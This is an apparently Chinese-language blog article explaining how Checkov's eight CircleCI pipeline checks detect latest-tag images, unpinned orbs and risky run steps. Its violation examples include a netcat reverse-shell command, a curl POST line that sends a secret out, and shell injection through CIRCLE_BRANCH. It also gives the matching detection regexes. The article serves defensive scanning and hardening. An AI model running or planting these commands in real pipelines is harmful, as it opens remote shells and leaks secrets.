ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

Checkov 扫描 CircleCI Pipelines:CKV_CIRCLECIPIPELINES 检查项全解析与配置加固指南

Checkov 扫描 CircleCI Pipelines:CKV_CIRCLECIPIPELINES 检查项全解析与配置加固指南 Checkov 扫描 CircleCI PipelinesCKV_CIRCLECIPIPELINES 检查项全解析与配置加固指南【免费下载链接】checkovPrevent cloud misconfigurations and find vulnerabilities during build-time in infrastructure as code, container images and open source packages with Checkov by Bridgecrew.项目地址: https://gitcode.com/GitHub_Trending/ch/checkovCircleCI 是当前使用最广泛的 CI/CD 平台之一而.circleci/config.yml中的镜像引用、Orb 版本与run命令脚本恰恰是供应链攻击与秘密泄露的高发区。本文以 Checkov 官方策略索引文档 circleci_pipelines.md 为骨架系统梳理 8 项CKV_CIRCLECIPIPELINES检查的策略语义、触发条件与修复方式并结合本仓库源码checkov/circleci_pipelines/与测试用例tests/circleci_pipelines/test_runner.py讲解其底层实现原理帮助读者在 CI 构建阶段提前发现并修复管道配置风险。一、策略索引文档概览8 项 CircleCI 管道检查Checkov 官方维护的策略索引文档 circleci_pipelines.md 以表格形式列出了当前框架对 CircleCI Pipelines 的全部内置检查每条记录包含四类关键元数据Id全局唯一的策略标识符统一采用CKV_CIRCLECIPIPELINES_N命名空间Type框架类别均为circleci_pipelinesEntity被扫描的 YAML 结构路径基于 JMESPath 表达式决定了检查的挂载位置Policy策略的完整语义描述IaC / Resource Link所属 IaC 框架以及对应策略的源码实现文件。全部 8 项检查其中CKV_CIRCLECIPIPELINES_8因同时挂载executors与jobs两个实体而出现两条索引记录汇总如下IdEntity被扫描实体Policy策略语义源码实现CKV_CIRCLECIPIPELINES_1jobs.*.docker[].{image, __startline__, __endline__}确保管道镜像不使用latest版本标签latest_image.pyCKV_CIRCLECIPIPELINES_2jobs.*.docker[].{image, __startline__, __endline__}确保管道镜像通过哈希digest而非任意标签引用image_version_not_hash.pyCKV_CIRCLECIPIPELINES_3orbs.{orbs: }确保不使用可变的开发版 Orbdevprevent_development_orbs.pyCKV_CIRCLECIPIPELINES_4orbs.{orbs: }确保不使用未版本化的易变 Orbvolatileprevent_volatile_orbs.pyCKV_CIRCLECIPIPELINES_5jobs.*.steps[]检测对 netcat 结合 IP 地址的可疑使用ReverseShellNetcat.pyCKV_CIRCLECIPIPELINES_6jobs.*.steps[]确保 run 命令不易受 shell 注入影响ShellInjection.pyCKV_CIRCLECIPIPELINES_7jobs.*.steps[]检测 run 任务中对 curl 的可疑使用SuspectCurlInScript.pyCKV_CIRCLECIPIPELINES_8executors.*.docker[]与jobs.*.docker[]两处实体检测管道中的镜像使用情况DetectImagesUsage.py说明CKV_CIRCLECIPIPELINES_8的特殊之处在于它同时注册了两个实体源码位于 DetectImagesUsage.py。它本身始终返回PASSED作用是配合 Checkov 的镜像引用框架Image Referencer将管道中引用的容器镜像收集起来交给镜像漏洞扫描如sca_imagerunner做后续分析。二、Checkov 如何识别并扫描 CircleCI 配置文件在深入各项策略之前先理解 runner 层面的工作机制。CircleCI 扫描能力由 checkov/circleci_pipelines/runner.py 提供它继承自yaml_doc.runner.Runner通过 YAML 解析管线完成检查目标路径限定included_paths()返回[.circleci]只有路径中包含.circleci目录的文件才会被纳入候选runner.py文件名校验is_workflow_file()进一步要求文件绝对路径中包含circleci目录且文件名必须是config.yml或config.yamlrunner.py注册表装配import_registry()返回 registry.py 中定义的registry该注册表类型为CheckType.CIRCLECI_PIPELINES资源定位get_resource()依据支持的实体类型将匹配位置解析为人类可读的资源 ID例如jobs(test-docker-versioned-img).docker.image1、jobs(test-echo).steps1或orbsrunner.py。从源码结构看每个检查都继承BaseCircleCIPipelinesCheckbase_circleci_pipelines_check.py其构造函数统一将categories设置为供应链安全CheckCategories.SUPPLY_CHAIN并在实例化时自动向 registry 注册第 33 行因此只需要在 checks 目录中定义类并在模块底部实例化如check ImageReferenceLatestTag()框架启动时便会自动加载。运行示例对应测试用例 test_runner.py 的用法checkov -d . --framework circleci_pipelines # 或者只扫单个文件 checkov -f .circleci/config.yml --framework circleci_pipelines在 test_runner.py 的test_runner用例中对 resources/.circleci/config.yml 执行扫描预期结果是13个失败检查、32个通过检查、0个解析错误与跳过项可以作为本地验证 Checkov 行为的基准。三、镜像引用安全latest标签与哈希校验CircleCI 的jobs与executors节点通过docker:列表指定构建环境镜像镜像的可变性直接决定构建的不可复现性与供应链风险。CKV_CIRCLECIPIPELINES_1禁止使用latest标签Entityjobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}语义确保管道镜像使用非latest的版本标签。源码实现位于 latest_image.py核心逻辑非常直接取出实体中的image字段若其为字符串且以:latest结尾则判定为FAILED否则PASSED。# 违反镜像以 latest 结尾 jobs: build: docker: - image: buildpack-deps:latest # 合规使用固定版本标签 jobs: build: docker: - image: mongo:2.6.8使用latest意味着每次流水线执行时拉取的镜像内容都可能变化一旦上游镜像被投毒构建产物将不可控这是供应链安全实践中明确禁止的做法。CKV_CIRCLECIPIPELINES_2镜像版本必须通过 digest 引用Entity同CKV_CIRCLECIPIPELINES_1语义确保镜像版本通过哈希digest而非任意标签引用。源码实现位于 image_version_not_hash.py判定规则为镜像字符串中包含即imagesha256:...形式的 digest→PASSED镜像字符串中包含latest→ 返回UNKNOWN不判定因为该情况已由CKV_CIRCLECIPIPELINES_1给出更精确的违规说明源码注释明确说明这一设计取舍其他情况有标签但非 digest→FAILED。# 合规通过 sha256 digest 固定镜像 jobs: db: docker: - image: redissha256:54057dd7e125ca41afe526a877e8bd35ec2cdd33b9217e022ed37bdcf7d09673 # 违反仅有版本标签未使用 digest jobs: db: docker: - image: mongo:2.6.8digest 直接指向镜像清单的唯一内容哈希即使标签被恶意重指向也不会影响拉取结果是镜像引用最严格的锁定方式。四、Orb 供应链防护dev与volatileOrb 是 CircleCI 的可复用配置包来自第三方命名空间其版本语义直接关系到供应链信任边界。CKV_CIRCLECIPIPELINES_3禁止可变开发版 OrbEntityorbs.{orbs: }语义确保不使用可变的开发版 Orb。实现位于 prevent_development_orbs.py遍历orbs:段落的每一个值只要字符串中包含dev即判定整个段落FAILED。由于一次调用只能对整个orbs:段落返回一个结果源码注释中也提到这是当前 JMESPath 反射机制的限制因此段落内存在任意一个devOrb 都会触发失败。# 违反使用了开发版 Orb orbs: some-orb: orbs/orbnamedev:blah # 合规使用正式发布的版本 orbs: some-orb: orbs/orbname1.2.3dev:分支名形式的 Orb 指向可变的开发通道任何一次推送都可能改变其行为不适合在正式流水线中使用。CKV_CIRCLECIPIPELINES_4禁止未版本化的易变 OrbEntityorbs.{orbs: }语义确保不使用未版本化的易变 Orb。实现位于 prevent_volatile_orbs.py与上一项逻辑对称只要值字符串中包含volitile注意源码中保留的是 CircleCI 官方拼写即返回FAILED。# 违反引用了易变 Orb orbs: flaky: namespace/orbvolatile # 合规锁定到稳定版本号 orbs: flaky: namespace/orb0.4.1volatile未关联任何不可变版本每次执行都可能解析到不同内容属于典型的不确定依赖应当替换为显式版本号。五、run 步骤脚本安全netcat、shell 注入与 curljobs.*.steps[]中的run步骤承载着在容器内执行的 shell 命令Checkov 通过特征模式匹配来发现恶意命令与注入面。这三项检查均支持两种run写法字符串简写run: echo ...与对象形式run: {command: ..., name: ...}源码中分别对run字段与run.command字段进行匹配。CKV_CIRCLECIPIPELINES_5可疑的 netcat IP 使用实现位于 ReverseShellNetcat.py核心是一个正则(nc|netcat) (\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})即同时出现nc/netcat命令与四段式 IP 地址时判定FAILED。# 违反nc 连接远程 IP典型的反弹 Shell 特征 steps: - run: nc 192.168.1.100 4444 -e /bin/sh反弹 Shell 是攻击者横向移动与持久化的常用手段结合 IP 地址的 netcat 调用是明确的恶意行为信号。CKV_CIRCLECIPIPELINES_6run 命令的 shell 注入防护实现位于 ShellInjection.py它逐一使用 common/shell_injection_list.py 中定义的正则列表对命令做匹配只要命中任意一项即FAILED。该黑名单目前包含 5 个 CircleCI 上下文变量支持$VAR与${VAR}两种写法$CIRCLE_PR_REPONAME$CIRCLE_PR_USERNAME$CIRCLE_PULL_REQUESTS$CIRCLE_TAG$CIRCLE_BRANCH# 违反将外部可控的 PR 元数据拼入 shell 命令 steps: - run: command: echo ${CIRCLE_BRANCH} name: Multi-line run with injection via vars这类变量由外部输入Pull Request、分支名、Tag驱动若直接拼接到命令中攻击者可通过构造恶意分支名/PR 标题实现命令注入。建议将此类值通过BASH_ENV或参数化方式安全传递并在使用前做白名单校验。测试用例 config.yml 中的test-inject、test-inject2、test-inject-ci-vars三个 Job 正是为此检查准备的失败样例。CKV_CIRCLECIPIPELINES_7run 任务中的可疑 curl 使用实现位于 SuspectCurlInScript.py判定规则为命令包含curl时按行拆分后若某一行同时包含curl与POST两个关键词则FAILED。# 违反curl 结合 POST可能是秘密外传 steps: - run: command: curl -x POST someurl $SECRET name: Multi-line export secretcurl ... POST模式常被用于把环境变量、密钥等敏感数据外发到攻击者控制的服务器对应测试用例 config.yml 中的test-curl-secret。若确有合法需求应显式声明外发目标域名并配合审计对可疑的curl -x POST组合应保持警惕。六、在真实仓库中验证测试资源与预期结果test_runner.py 提供了端到端的验证入口其测试资源 resources/.circleci/config.yml 几乎覆盖了上述全部检查的触发条件Job / 配置片段触发的检查结果orbs.some-orb: orbs/orbnamedev:blahCKV_CIRCLECIPIPELINES_3失败orbs.new-orb: whatever/orbnamegoodorb各项通过test-docker-hash-imgredissha256:...CKV_CIRCLECIPIPELINES_2通过test-docker-latest-imgbuildpack-deps:latestCKV_CIRCLECIPIPELINES_1、2(UNKNOWN)失败test-docker-versioned-imgmongo:2.6.8CKV_CIRCLECIPIPELINES_2失败test-inject/test-inject2${CIRCLE_BRANCH}/$CIRCLE_BRANCHCKV_CIRCLECIPIPELINES_6失败test-inject-ci-vars${CIRCLE_PR_REPONAME}CKV_CIRCLECIPIPELINES_6失败test-curl-secretcurl -x POST someurl $SECRETCKV_CIRCLECIPIPELINES_7失败test_runner断言该目录共产生13个失败项与32个通过项且无解析错误test_runner_honors_enforcement_rules则验证了通过RunnerFilter(use_enforcement_rulesTrue)并设置enforcement_rule_configs {CheckType.CIRCLECIPIPELINES: OFF}可以将全部检查关闭0 失败 / 0 通过这说明 CircleCI 检查项同样遵循 Checkov 统一的强制规则enforcement rule机制。如需将 CircleCI 扫描纳入日常开发流程可参考以下用法# 扫描仓库根目录下所有 .circleci/config.yml checkov -d . --framework circleci_pipelines # 结合软失败模式避免阻断 CI 但保留告警 checkov -d . --framework circleci_pipelines --soft-fail # 使用 --skip-check 豁免确认安全的规则 checkov -d . --framework circleci_pipelines --skip-check CKV_CIRCLECIPIPELINES_2七、小结从索引到源码的加固路径Checkov 的 CircleCI Pipelines 检查从三个维度守护 CI 配置安全镜像引用CKV_CIRCLECIPIPELINES_1/2杜绝可变与未锁定镜像Orb 依赖CKV_CIRCLECIPIPELINES_3/4封堵易变与开发版组件run 脚本CKV_CIRCLECIPIPELINES_5/6/7拦截恶意命令与注入面。其中CKV_CIRCLECIPIPELINES_8承担镜像收集职责为镜像漏洞扫描提供数据基础。实践中建议将以下配置作为 CircleCI 加固基线所有docker.image使用sha256:digest 引用所有 Orb 锁定正式版本号run命令中禁止直接拼接CIRCLE_*外部变量并警惕nc IP、curl POST组合。将checkov -d . --framework circleci_pipelines接入 CI 的流水线前置检查或本地 pre-commit 钩子即可在构建阶段自动阻断上述风险相关检查项的实现细节可随时回到 checkov/circleci_pipelines/checks/ 目录逐一核对。【免费下载链接】checkovPrevent cloud misconfigurations and find vulnerabilities during build-time in infrastructure as code, container images and open source packages with Checkov by Bridgecrew.项目地址: https://gitcode.com/GitHub_Trending/ch/checkov创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表